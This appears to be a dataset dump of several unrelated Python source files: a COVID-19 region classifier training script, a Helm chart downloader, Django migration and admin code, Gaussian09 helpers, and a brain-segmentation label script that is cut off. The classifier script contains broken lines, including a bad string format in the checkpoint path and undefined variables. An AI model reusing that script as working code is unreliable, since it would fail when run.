sklearn.metrics import f1_score, accuracy_score\nfrom sklearn.preprocessing import StandardScaler\nfrom matplotlib import pyplot as plt\n\nimport sys\n\ndef count_to_prob(count_list):\n \n _count = Counter(count_list)\n \n if len(_count) == 1:\n prob = [1]\n else:\n prob = []\n _count_value = _count.values()\n for num in _count_value:\n prob.append(num/sum(_count_value))\n \n return prob\n\nclass COVID(Dataset):\n def __init__(self, data, labels):\n super().__init__()\n self.data = torch.from_numpy(data) # numpy array to torch tensor\n self.labels = torch.from_numpy(labels).type(torch.long) # numpy array to torch tensor\n\n def __getitem__(self, index):\n \n return self.data[index], self.labels[index]\n \n def __len__(self):\n return len(self.data)\n\ndef clade_num(clade_list):\n \n clade_num_list = []\n for clade in clade_list:\n if clade == 'S':\n clade_num_list.append(0)\n elif clade == 'L':\n clade_num_list.append(1)\n elif clade == 'V':\n clade_num_list.append(2)\n elif clade == 'G':\n clade_num_list.append(3)\n elif clade == 'GR':\n clade_num_list.append(4)\n else:\n clade_num_list.append(5)\n clade_num_input = np.array(clade_num_list)[:, np.newaxis]\n\n return np.array(clade_num_list)\n\ndef date_num(date_list):\n \n date_num_list = []\n for date in date_list:\n if date == 0:\n date_num_list.append(0)\n elif date == 1:\n date_num_list.append(1)\n else:\n date_num_list.append(2)\n date_num_input = np.array(date_num_list)[:, np.newaxis]\n\n return np.array(date_num_list)\n\ndef date_class(date):\n \n if date in ['12', '01', '02']:\n return 0\n elif date in ['03']:\n return 1\n else:\n return 2\n\ndef region_num(date_list):\n date_num_list = []\n for date in date_list:\n if date == 'North America':\n date_num_list.append(0)\n elif date == 'Asia':\n date_num_list.append(1)\n elif date == 'Oceania':\n date_num_list.append(2)\n elif date == 'Europe':\n date_num_list.append(3)\n elif date == 'Africa':\n date_num_list.append(4)\n else:\n date_num_list.append(5)\n date_num_input = np.array(date_num_list)[:, np.newaxis]\n return np.array(date_num_list)\n\n\n#######################################################################\n# Load Data & Preprocessing\n\ntrain_df = pd.read_csv(sys.argv[1], sep = '\\t', index_col = 0)\nx_train = train_df.iloc[:,:-5]\ny_train = train_df['Region'] # for spatial dynamics. In case of temporal dynamics, use 'Date_Class'\n\nval_df = pd.read_csv(sys.argv[2], sep = '\\t', index_col = 0)\nx_val = val_df.iloc[:,:-5]\ny_val = val_df['Region']\n\ntest_df = pd.read_csv(sys.argv[3], sep = '\\t', index_col = 0)\nx_test = test_df.iloc[:,:-5]\ny_test = test_df['Region']\n\n\nentropy_list = []\nfor col in x_train.columns[1:]:\n\n prob = count_to_prob(list(x_train[col]))\n entro = entropy(prob, base = 2)\n if entro >= 0.2:\n entropy_list.append(col)\n\nx_train = x_train[[0] + entropy_list]\nx_train_norm = x_train.iloc[:,1:].div(x_train.iloc[:,1:].sum(axis=1), axis=0)\nscaler = StandardScaler()\nscaler.fit(x_train_norm)\nx_train_norm_scaler = scaler.transform(x_train_norm)\n\nx_val = x_val[[0] + entropy_list]\nx_val_norm = x_val.iloc[:,1:].div(x_val.iloc[:,1:].sum(axis=1), axis=0)\nx_val_norm_scaler = scaler.transform(x_val_norm)\n\nx_test = x_test[[0] + entropy_list]\nx_test_norm = x_test.iloc[:,1:].div(x_test.iloc[:,1:].sum(axis=1), axis=0)\nx_test_norm_scaler = scaler.transform(x_test_norm)\n\n#######################################################################\n\n\n####################################################################\n### HYPER PARAMETERS ###\n\nnum_epochs = 200\nBATCH_SIZE = 128\nFEATURE_LEN = len(entropy_list)\nNUM_CLASSES = len(set(region_num(y_train))) # for spatial dynamics. In case of temporal dynamics, use 'len(set(date_num(y_train)))'\nDROP_OUT_RATE = 0.2\nlearning_rate = 0.01\nlr_cent = 0.5\nseed = 42\ngpu = 0 # -1 for cpu // 0, 1, ../... : gpu number\n#########################################################################\n\ndevice = torch.device(\"cuda:\"+str(gpu) if gpu != -1 else \"cpu\")\n \n# Dataset\ntrain_dataset = COVID(np.tanh(x_train_norm_scaler, dtype = np.float32)\n , region_num(y_train)) ### INPUT\nval_dataset = COVID(np.tanh(x_val_norm_scaler, dtype = np.float32)\n , region_num(y_val)) ### INPUT\ntest_dataset = COVID(np.tanh(x_test_norm_scaler, dtype = np.float32)\n , region_num(y_test)) ### INPUT\n\n# Data Loder\ntrain_loader = DataLoader(train_dataset, batch_size=BATCH_SIZE, shuffle=True)\nval_loader = DataLoader(val_dataset, batch_size=BATCH_SIZE, shuffle=False)\ntest_loader = DataLoader(test_dataset, batch_size=BATCH_SIZE, shuffle=False)\n\n\n\ntorch.manual_seed(seed)\ntorch.cuda.manual_seed(seed)\nnp.random.seed(seed)\nrandom.seed(seed)\n\n\nmodel = AE().to(device)\n\nreconstruction_loss = nn.MSELoss()\nclassification_loss = nn.CrossEntropyLoss()\ncenter_loss = CenterLoss(num_classes = NUM_CLASSES, feat_dim=2, use_gpu=(True if gpu != -1 else False), gpu_num=gpu)\n\nparams = list(model.parameters()) + list(center_loss.parameters())\n\noptimizer = torch.optim.Adam(params, lr = learning_rate)\n\n\ndef train(epoch):\n model.train()\n train_loss = 0.0\n\n true_label_list = []\n pred_label_list = []\n\n for batch_idx, (data, labels) in enumerate(train_loader):\n data = data.to(device)\n labels = labels.to(device)\n recon_batch, pred, hidden = model(data)\n pred_labels = np.argmax(pred.detach().cpu().numpy(), axis=1)\n\n loss = reconstruction_loss(recon_batch, data) + \\\n classification_loss(pred, labels) + \\\n center_loss(hidden, labels) \n optimizer.zero_grad()\n loss.backward()\n \n # multiple (1./alpha) in order to remove the effect of alpha on updating centers\n for param in center_loss.parameters():\n param.grad.data *= (lr_cent / (alpha_cent * learning_rate))\n train_loss += loss.item()\n optimizer.step()\n\n true_label_list += list(labels.cpu().numpy())\n pred_label_list += list(pred_labels)\n\n\n print('====> Epoch: {} Average loss: {:.4f}\\tAccuracy: {:.4f}\\tF1: {:.4f}'.format(\n epoch, train_loss / len(train_loader.dataset),\n accuracy_score(true_label_list, pred_label_list),\n f1_score(true_label_list, pred_label_list, average='weighted')\n ))\n\n return accuracy_score(true_label_list, pred_label_list), f1_score(true_label_list, pred_label_list, average='weighted')\n\ndef val(epoch):\n model.eval()\n val_loss = 0\n\n true_label_list = []\n pred_label_list = []\n\n with torch.no_grad():\n for i, (data, labels) in enumerate(val_loader):\n data = data.to(device)\n labels = labels.to(device)\n recon_batch, pred, hidden = model(data)\n pred_labels = np.argmax(pred.detach().cpu().numpy(), axis=1)\n loss = reconstruction_loss(recon_batch, data) + \\\n classification_loss(pred, labels) + \\\n center_loss(hidden, labels) \n\n val_loss += loss.item()\n true_label_list += list(labels.cpu().numpy())\n pred_label_list += list(pred_labels)\n\n val_loss /= len(val_loader.dataset)\n print('====> Validation set loss: {:.4f}\\tAccuracy: {:.4f}\\tF1: {:.4f}'.format(val_loss,\n accuracy_score(true_label_list, pred_label_list),\n f1_score(true_label_list, pred_label_list, average='weighted')\n ))\n\n return accuracy_score(true_label_list, pred_label_list), f1_score(true_label_list, pred_label_list, average='weighted')\n\n\ndef test(epoch):\n model.eval()\n test_loss = 0\n\n true_label_list = []\n pred_label_list = []\n\n with torch.no_grad():\n for i, (data, labels) in enumerate(test_loader):\n data = data.to(device)\n labels = labels.to(device)\n recon_batch, pred, hidden = model(data)\n pred_labels = np.argmax(pred.detach().cpu().numpy(), axis=1)\n\n loss = reconstruction_loss(recon_batch, data) + \\\n classification_loss(pred, labels) + \\\n center_loss(hidden, labels) \n\n test_loss += loss.item()\n true_label_list += list(labels.cpu().numpy())\n pred_label_list += list(pred_labels)\n\n test_loss /= len(test_loader.dataset)\n print('====> Test set loss: {:.4f}\\tAccuracy: {:.4f}\\tF1: {:.4f}'.format(test_loss,\n accuracy_score(true_label_list, pred_label_list),\n f1_score(true_label_list, pred_label_list, average='weighted')\n ))\n\n return accuracy_score(true_label_list, pred_label_list), f1_score(true_label_list, pred_label_list, average='weighted')\n\n \n \n\nbest_val_f1 = 0.0\nbest_train_f1 = 0.0\nbest_train_acc = 0.0\nbest_val_acc = 0.0\nbest_epoch = 0\n\n# Training\nfor epoch in range(1, num_epochs+1):\n\n train_acc, train_f1 = train(epoch)\n val_acc, val_f1 = val(epoch)\n\n if val_f1 >= best_val_f1:\n best_epoch = epoch\n best_val_f1 = val_f1\n best_train_f1 = train_f1\n best_train_acc = train_acc\n best_val_acc = val_acc\n torch.save(model.state_dict(), \"./model_epoch\"%i+str(epoch)+\".pt\")\n\n\nprint('==========================================================')\nprint('===> [Epoch{}] Best Train set Accuracy: {:.4f}\\tF1: {:.4f}'.format(best_epoch,\n best_train_acc,\n best_train_f1))\nprint('===> [Epoch{}] Best Validata set Accuracy: {:.4f}\\tF1: {:.4f}'.format(best_epoch,\n best_val_acc,\n \n best_val_f1))\n \n \n# Test\nmodel = AE().to(device)\nmodel.load_state_dict(torch.load(\"./model_epoch\"%i+str(best_best_epoch)+\".pt\"))\ntest_acc, test_f1 = test(epoch)\nprint('test acc: {}, test f1: {}'.format(test_acc, test_f1))\n \n", "repo_name": "smaster7/AutoCoV", "sub_path": "run.py", "file_name": "run.py", "file_ext": "py", "file_size_in_byte": 10654, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "collections.Counter", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.utils.data.Dataset", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.from_numpy", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 64, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 78, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 106, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 107, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 113, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 113, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 117, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 117, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 121, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 121, "usage_type": "attribute"}, {"api_name": "scipy.stats.entropy", "line_number": 130, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 136, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.tanh", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 168, "usage_type": "attribute"}, {"api_name": "numpy.tanh", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 170, "usage_type": "attribute"}, {"api_name": "numpy.tanh", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 172, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 176, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 177, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 182, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed", "line_number": 183, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 183, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 184, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 185, "usage_type": "call"}, {"api_name": "AutoCoV.AE", "line_number": 188, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 190, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 190, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 191, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 191, "usage_type": "name"}, {"api_name": "center_loss.CenterLoss", "line_number": 192, "usage_type": "call"}, {"api_name": "center_loss.parameters", "line_number": 194, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 196, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 196, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 210, "usage_type": "call"}, {"api_name": "center_loss.parameters", "line_number": 219, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 230, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 231, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 234, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 234, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 243, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 248, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 259, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 260, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 263, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 263, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 273, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 278, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 290, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 291, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 294, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 294, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 317, "usage_type": "call"}, {"api_name": "AutoCoV.AE", "line_number": 331, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 332, "usage_type": "call"}]} +{"seq_id": "70874951326", "text": "#!/usr/bin/env python3\n\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport yaml\nfrom pathlib import Path\n\nif len(sys.argv) != 3:\n print(\"Error: This file needs manifest argument.\")\n print(\"Usage: python chart.py \")\n exit(1)\nmanifest = sys.argv[1]\ndownload_dir = sys.argv[2]+'/'\nPath(download_dir).mkdir(parents=True, exist_ok=True)\n\nprint(\"###### Download helm charts\")\nwith open(manifest) as f:\n releases = list(yaml.load_all(f, Loader=yaml.FullLoader))\n for release in releases:\n name = release['spec']['chart']['name']\n version = release['spec']['chart']['version']\n repository = release['spec']['chart']['repository']\n print('helm pull --repo {} --version {} -d {} {}'.format(repository, version, download_dir, name))\n \n\t\t#print 'name: %s' % name\n\t\t#print 'version: %s' % version\n\t\t#print 'repository: %s' % repository\n\t\t#print('helm template --repo %s --version %s %s') % (repository,version,name)\n process = subprocess.Popen(['helm', 'pull', \\\n '--repo', repository, \\\n '--version', version, \\\n '-d', download_dir, \\\n name])\n process.wait()\n chart_filename = download_dir+name+'-'+version+'.tgz'\n untar = subprocess.Popen(['tar', 'xzf', chart_filename, \\\n '-C', download_dir, \\\n '--warning=no-timestamp'])\n untar.wait()\n os.remove(chart_filename)\n", "repo_name": "openinfradev/tacoplay", "sub_path": "scripts/download_helm_charts.py", "file_name": "download_helm_charts.py", "file_ext": "py", "file_size_in_byte": 1511, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 33, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sys.argv", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 16, "usage_type": "call"}, {"api_name": "yaml.load_all", "line_number": 20, "usage_type": "call"}, {"api_name": "yaml.FullLoader", "line_number": 20, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 31, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 38, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 42, "usage_type": "call"}]} +{"seq_id": "35749739151", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('ictus', '0022_auto_20161202_1655'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='episodio',\n name='aitdurac',\n field=models.IntegerField(blank=True, verbose_name='Duración AIT (min)', null=True),\n ),\n ]\n", "repo_name": "NavarraBiomed/seguimientoPacientes", "sub_path": "ictus/migrations/0023_auto_20161212_1044.py", "file_name": "0023_auto_20161212_1044.py", "file_ext": "py", "file_size_in_byte": 451, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}]} +{"seq_id": "33631885953", "text": "# Supporting scripts for job inputing stuffs\nimport os\nimport re\nfrom ase.units import Hartree\nimport numpy as np\nfrom pathlib import Path\nfrom ase.parallel import parprint, paropen, rank, size, world\nfrom shutil import copyfile\n\ndef copy_chk(base, prev, now):\n \"\"\"Copy chk file from previous state\"\"\"\n if rank == 0:\n copyfile(base / \"{0}.chk\".format(prev),\n base / \"{0}.chk\".format(now))\n else:\n pass\n world.barrier()\n \n\ndef run_job(label):\n cmd = \"g09 < {0}.com > {0}.log\".format(label)\n parprint(cmd)\n exit_state = os.system(cmd)\n if exit_state == 0:\n print(\"Calculation exited normally\")\n else:\n print(\"Abnormal job with exit code {0}\".format(exit_state))\n return exit_state\n\n\ndef get_nproc():\n \"\"\"Get max number of processes. If not in batch mode, return None\n \"\"\"\n keyword = \"LSB_MAX_NUM_PROCESSORS\"\n try:\n n = os.environ[keyword]\n return int(n)\n except KeyError:\n return None\n\n\ndef confirm_scratch():\n \"\"\"Confirm that `$TMPDIR is set correctly\n \"\"\"\n if \"TMPDIR\" not in os.environ.keys():\n print(\"You are running Gaussian09 on Log-in node, this is not recommended.\")\n else:\n tmpdir = os.environ[\"TMPDIR\"]\n print(\"You are running Gaussian09 on Computing node. Will set the scratch.\")\n os.environ[\"GAUSS_SCRDIR\"] = tmpdir\n\n\ndef convert_cube(base, label, orbital=\"homo\"):\n base = Path(base).resolve()\n # Convert chk file\n chkfile = base / \"{0}.chk\".format(label)\n fchkfile = base / \"{0}.fchk\".format(label)\n # cubfile, no syntax checking etc...\n cubfile = base / \"{0}.cube\".format(orbital)\n if not chkfile.exists():\n raise FileNotFoundError(\"No chk file, possibly not converged!\")\n # Convert fchk\n if not fchkfile.exists():\n ec = os.system(\"formchk {0} {1}\".format(chkfile, fchkfile))\n if ec != 0:\n raise ValueError(\"Error converting chk file to fchk!\")\n ec1 = os.system(\"cubegen 1 MO=Homo {0} {1} -2\".format(fchkfile, cubfile)) # fine grid\n if ec1 != 0:\n raise ValueError(\"Cubegen failed...\")\n return True\n\n\ndef get_eigen(base, label):\n \"\"\"Analysis eigenvalues from log file\n \"\"\"\n base = Path(base)\n log_file = base / \"{0}.log\".format(label)\n if not log_file.exists():\n raise FileNotFoundError(\"No log file!\")\n with open(log_file, \"r\") as f:\n text = f.read()\n # Population section\n pat_pop = r\"\\*{30,}[\\s]+Population analysis.+\\*{30,}(.+)Molecular Orbital Coeff\"\n match = re.findall(pat_pop, text, re.DOTALL) # match multiline\n if len(match) == 0:\n raise ValueError(\"Population calculation may be bad!\")\n rest_text = match[0]\n pat_occ = r\"Alpha\\s+occ.\\s+eigenvalues -- (.+)$\"\n pat_unocc = r\"Alpha\\s+virt.\\s+eigenvalues -- (.+)$\"\n match_occ = re.findall(pat_occ, rest_text, re.MULTILINE)\n match_unocc = re.findall(pat_unocc, rest_text, re.MULTILINE)\n if (len(match_occ) == 0) or (len(match_unocc) == 0):\n raise ValueError(\"Matching eigenvalues failed!\")\n eigen_occ = np.genfromtxt([\"\".join(match_occ)], delimiter=10)\n eigen_unocc = np.genfromtxt([\"\".join(match_unocc)], delimiter=10)\n homo = eigen_occ[-1] * Hartree\n lumo = eigen_unocc[0] * Hartree\n return homo, lumo\n\n", "repo_name": "alchem0x2A/g09_scripts", "sub_path": "src/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 3305, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "ase.parallel.rank", "line_number": 12, "usage_type": "name"}, {"api_name": "shutil.copyfile", "line_number": 13, "usage_type": "call"}, {"api_name": "ase.parallel.world.barrier", "line_number": 17, "usage_type": "call"}, {"api_name": "ase.parallel.world", "line_number": 17, "usage_type": "name"}, {"api_name": "ase.parallel.parprint", "line_number": 22, "usage_type": "call"}, {"api_name": "os.system", "line_number": 23, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.environ.keys", "line_number": 45, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 54, "usage_type": "call"}, {"api_name": "os.system", "line_number": 64, "usage_type": "call"}, {"api_name": "os.system", "line_number": 67, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 76, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 84, "usage_type": "call"}, {"api_name": "re.DOTALL", "line_number": 84, "usage_type": "attribute"}, {"api_name": "re.findall", "line_number": 90, "usage_type": "call"}, {"api_name": "re.MULTILINE", "line_number": 90, "usage_type": "attribute"}, {"api_name": "re.findall", "line_number": 91, "usage_type": "call"}, {"api_name": "re.MULTILINE", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.genfromtxt", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.genfromtxt", "line_number": 95, "usage_type": "call"}, {"api_name": "ase.units.Hartree", "line_number": 96, "usage_type": "name"}, {"api_name": "ase.units.Hartree", "line_number": 97, "usage_type": "name"}]} +{"seq_id": "22501214772", "text": "from workers import models\nfrom django.contrib import admin\nfrom django_admin_relation_links import AdminChangeLinksMixin\n\n\n@admin.register(models.Worker)\nclass WorkerAdmin(AdminChangeLinksMixin, admin.ModelAdmin):\n change_links = ['user', ]\n\n list_display = [\n 'first_name',\n 'last_name',\n 'email',\n 'status',\n 'user_link',\n 'created_on_datetime',\n 'updated_on_datetime'\n ]\n", "repo_name": "Ali1995Askar/mws-thesis", "sub_path": "app/workers/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 433, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django_admin_relation_links.AdminChangeLinksMixin", "line_number": 7, "usage_type": "name"}, {"api_name": "django.contrib.admin.ModelAdmin", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 7, "usage_type": "name"}, {"api_name": "django.contrib.admin.register", "line_number": 6, "usage_type": "call"}, {"api_name": "django.contrib.admin", "line_number": 6, "usage_type": "name"}, {"api_name": "workers.models.Worker", "line_number": 6, "usage_type": "attribute"}, {"api_name": "workers.models", "line_number": 6, "usage_type": "name"}]} +{"seq_id": "37511067699", "text": "from dipy.io.image import load_nifti, load_nifti_data, save_nifti\nimport numpy as np\nimport nibabel as nib\nfrom os.path import join\n\ndef prepare_cortical_label(fslant, dout, return_fpath = False, return_bimask = False, include_cerebellum = False):\n # preparing cortical slant label\n\n seg_data, _, seg = load_nifti(fslant, return_img=True)\n\n # seg_data = seg.get_fdata().astype(np.float32)\n # seg.set_data_dtype(np.uint32)\n seg_shape = seg_data.shape\n frontal_lobe = [100, 101, 102, 103, 104, 105, 112, 113, 118, 119, 120, 121, 124, 125, 136, 137, 138, 139, 140,\n 141, 142, 143, 146, 147, 152, 153, 162, 163, 164, 165, 172, 173, 178, 179, 186, 187, 190, 191,\n 192, 193, 204, 205]\n # 100 Right-ACgG--anterior-cingulate-gyrus 102 178 75 0\n # 101 Left-ACgG--anterior-cingulate-gyrus 179 255 152 0\n # 102 Right-AIns--anterior-insula 106 0 0 0\n # 103 Left-AIns--anterior-insula 182 76 76 0\n # 104 Right-AOrG--anterior-orbital-gyrus 0 129 178 0\n # 105 Left-AOrG--anterior-orbital-gyrus\n # 112 Right-CO----central-operculum 178 31 0 0\n # 113 Left-CO----central-operculum\n # 118 Right-FO----frontal-operculum 0 68 178 0\n # 119 Left-FO----frontal-operculum 76 144 255 0\n # 120 Right-FRP---frontal-pole 0 0 170 0\n # 121 Left-FRP---frontal-pole\n\n\n temporal_lobe = [116, 117, 122, 123, 132, 133, 154, 155, 166, 167, 170, 171, 180, 181, 184, 185, 200, 201, 202,\n 203,\n 206, 207]\n occipital_lobe = [108, 109, 114, 115, 128, 129, 134, 135, 144, 145, 156, 157, 160, 161, 196, 197]\n parietal_lobe = [106, 107, 168, 169, 174, 175, 194, 195, 198, 199]\n # 106 Right-AnG---angular-gyrus\n # 107 Left-AnG---angular-gyrus\n # 168 Right-PCu---precuneus\n # 169 Left-PCu---precuneus\n # 174 Right-PO----parietal-operculum\n # 175 Left-PO----parietal-operculum\n # 194 Right-SMG---supramarginal-gyrus\n # 195 Left-SMG---supramarginal-gyrus\n # Right-SPL---superior-parietal-lobule\n # 199 Left-SPL---superior-parietal-lobule\n\n precentral_gyrus = [150, 151, 182, 183]\n # 150 Right-MPrG--precentral-gyrus\n # 151 Left-MPrG--precentral-gyrus\n # 182 Right-PrG---precentral-gyrus\n # 183 Left-PrG---precentral-gyrus\n\n postcentral_gyrus = [148, 149, 176, 177]\n # 148 Right-MPoG--postcentral-gyrus\n # 149 Left-MPoG--postcentral-gyrus\n # 176 Right-PoG---postcentral-gyrus\n # 177 Left-PoG---postcentral-gyrus\n\n csf_labels = [4, 11, 46, 49, 50, 51, 52]\n # 51 Right-Lateral-Ventricle\n # 52 Left-Lateral-Ventricle\n # 4 3rd-Ventricle\n # 11 4th-Ventricle\n # 49 Right-Inf-Lat-Vent\n # 50 Left-Inf-Lat-Vent\n\n R_cerebellum_labels = [38 ,40]\n L_cerebellum_labels = [39 ,41]\n ## cerebellum\n # 38 Right-Cerebellum-Exterior\n # 39 Left-Cerebellum-Exterior\n # 40 Right-Cerebellum-White-Matter\n # 41 Left-Cerebellum-White-Matter\n\n ## 35 Brain-Stem\n\n target_labels = [frontal_lobe, temporal_lobe, occipital_lobe, parietal_lobe,\n precentral_gyrus, postcentral_gyrus]\n all_labels = frontal_lobe + temporal_lobe + occipital_lobe + parietal_lobe + precentral_gyrus + postcentral_gyrus\n\n if include_cerebellum:\n target_labels.append(R_cerebellum_labels)\n target_labels.append(L_cerebellum_labels)\n all_labels += R_cerebellum_labels\n all_labels += L_cerebellum_labels\n\n num_groups = len(target_labels)\n # Create set of target masks\n target_6_mask = np.zeros(seg_shape)\n for j in range(num_groups):\n target_mask = np.zeros(seg_shape)\n if isinstance(target_labels[j], list):\n for label in target_labels[j]:\n target_mask = np.logical_or(target_mask, (seg_data == label))\n else:\n target_mask = np.logical_or(target_mask, (seg_data == target_labels[j]))\n\n target_6_mask[target_mask] = j + 1\n\n out_name = join(dout, \"slant6_trg_mask.nii.gz\")\n nib.Nifti1Image(target_6_mask.astype(np.uint32), seg.affine, seg.header).to_filename(out_name)\n out_name = join(dout, \"slant6_trg_bimask.nii.gz\")\n nib.Nifti1Image((target_6_mask > 0).astype(np.uint32), seg.affine, seg.header).to_filename(out_name)\n\n target_98_mask = np.zeros(seg_shape)\n for i, label in enumerate(all_labels):\n target_mask = np.zeros(seg_shape)\n target_mask = np.logical_or(target_mask, (seg_data == label))\n target_98_mask[target_mask] = i + 1\n\n out_name = join(dout, \"slant98_trg_mask.nii.gz\")\n nib.Nifti1Image(target_98_mask.astype(np.uint32), seg.affine, seg.header).to_filename(out_name)\n # ([fcortical_bimask,ftarget_6_mask,ftarget_98_mask], [cortical_bimask,target_6_mask,target_98_mask])\n return (\n [join(dout, \"slant6_trg_bimask.nii.gz\"),\n join(dout, \"slant6_trg_mask.nii.gz\"),\n join(dout, \"slant98_trg_mask.nii.gz\")],\n [(target_6_mask > 0).astype(np.uint32),\n target_6_mask,\n target_98_mask]\n )\n\n\ndef get_csf_mask(fslant, dout, return_fpath = False, return_bimask = False):\n seg_data, _, seg = load_nifti(fslant, return_img=True)\n seg_shape = seg_data.shape\n\n csf_labels = [4, 11, 46, 49, 50, 51, 52]\n\n mask = np.zeros(seg_shape)\n for i, label in enumerate(csf_labels):\n target_mask = np.zeros(seg_shape)\n target_mask = np.logical_or(target_mask, (seg_data == label))\n mask[target_mask] = i + 1\n\n # out_name = join(dout, \"mask.nii.gz\")\n # nib.Nifti1Image(mask.astype(np.uint32), seg.affine, seg.header).to_filename(out_name)\n out_name = join(dout, \"csf_bimask.nii.gz\")\n nib.Nifti1Image((mask > 0).astype(np.uint32), seg.affine, seg.header).to_filename(out_name)\n\n if return_fpath:\n if return_bimask:\n return join(dout, \"csf_bimask.nii.gz\")\n else:\n return join(dout, \"csf_mask.nii.gz\")\n else:\n if return_bimask:\n return (mask > 0).astype(np.uint32)\n else:\n return mask\n\ndef get_tha_mask(fslant, dout, return_fpath = False, return_bimask = False):\n seg_data, _, 